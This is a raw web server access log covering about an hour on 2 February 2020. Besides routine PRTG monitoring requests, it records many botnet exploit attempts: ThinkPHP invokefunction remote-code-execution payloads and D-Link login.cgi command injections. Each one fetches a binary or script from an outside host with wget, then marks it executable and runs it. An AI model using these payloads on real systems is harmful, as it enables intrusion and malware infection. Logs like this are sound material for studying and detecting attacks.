212.91.246.72 - - [02/Feb/2020:14:01:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.42.3.76 - - [02/Feb/2020:14:02:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:14:02:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.117.125.132 - - [02/Feb/2020:14:02:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
112.238.83.53 - - [02/Feb/2020:14:02:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:14:03:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:04:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:05:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.244.103 - - [02/Feb/2020:14:06:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:14:06:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.56.121.77 - - [02/Feb/2020:14:06:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
196.202.11.75 - - [02/Feb/2020:14:07:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:14:07:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.146.76 - - [02/Feb/2020:14:07:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.229.235 - - [02/Feb/2020:14:08:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:14:08:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.134.133.17 - - [02/Feb/2020:14:08:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [02/Feb/2020:14:09:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:10:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.133.81.180 - - [02/Feb/2020:14:10:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:14:11:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:12:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:13:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:14:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.192.77.168 - - [02/Feb/2020:14:14:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
186.46.187.122 - - [02/Feb/2020:14:15:05 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [02/Feb/2020:14:15:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.17.110.38 - - [02/Feb/2020:14:15:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
87.110.76.87 - - [02/Feb/2020:14:16:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:14:16:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:17:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.81.209.234 - - [02/Feb/2020:14:17:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:14:18:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.250.211 - - [02/Feb/2020:14:18:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:14:19:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.199.75 - - [02/Feb/2020:14:20:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:14:20:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:21:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.242.8.221 - - [02/Feb/2020:14:21:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
41.65.34.166 - - [02/Feb/2020:14:21:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
186.216.174.95 - - [02/Feb/2020:14:22:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.119.14.104 - - [02/Feb/2020:14:22:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:14:22:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.70.92 - - [02/Feb/2020:14:23:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:14:23:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.76.46.27 - - [02/Feb/2020:14:23:44 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
58.187.241.208 - - [02/Feb/2020:14:24:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:14:24:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:25:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.242.75.100 - - [02/Feb/2020:14:25:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
183.102.221.72 - - [02/Feb/2020:14:25:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [02/Feb/2020:14:26:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.155.69.164 - - [02/Feb/2020:14:27:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:14:27:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:28:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:29:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.26.104.45 - - [02/Feb/2020:14:30:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.55.26.162 - - [02/Feb/2020:14:30:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:14:30:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:31:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.141.188.226 - - [02/Feb/2020:14:31:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:14:32:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:33:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.41.234.91 - - [02/Feb/2020:14:33:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [02/Feb/2020:14:34:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:35:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:36:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.233.43.225 - - [02/Feb/2020:14:37:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:14:37:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.99.173.69 - - [02/Feb/2020:14:37:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:14:38:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.221.38 - - [02/Feb/2020:14:38:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.51.57 - - [02/Feb/2020:14:38:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:14:39:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.60.211.13 - - [02/Feb/2020:14:39:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [02/Feb/2020:14:40:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.81.106.253 - - [02/Feb/2020:14:41:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:14:41:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:42:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.50.16.78 - - [02/Feb/2020:14:43:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:14:43:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:44:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:45:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.155.37 - - [02/Feb/2020:14:45:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:14:46:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:47:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.234.137 - - [02/Feb/2020:14:48:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
187.60.159.178 - - [02/Feb/2020:14:48:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [02/Feb/2020:14:48:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.70.91.200 - - [02/Feb/2020:14:48:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:14:49:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:50:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:51:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:52:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.35.244.60 - - [02/Feb/2020:14:53:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
79.35.244.60 - - [02/Feb/2020:14:53:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [02/Feb/2020:14:53:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:54:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.167.234 - - [02/Feb/2020:14:55:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.51.0.117 - - [02/Feb/2020:14:55:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:14:55:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
219.157.144.78 - - [02/Feb/2020:14:55:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:14:56:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:57:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:58:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:14:59:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.230.97 - - [02/Feb/2020:14:59:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:15:00:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:01:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.97.116.155 - - [02/Feb/2020:15:01:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:15:02:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:03:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.30.207.56 - - [02/Feb/2020:15:04:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [02/Feb/2020:15:04:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:05:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.63.52.50 - - [02/Feb/2020:15:06:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.41.38.182 - - [02/Feb/2020:15:06:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.41.38.182 - - [02/Feb/2020:15:06:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:15:06:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
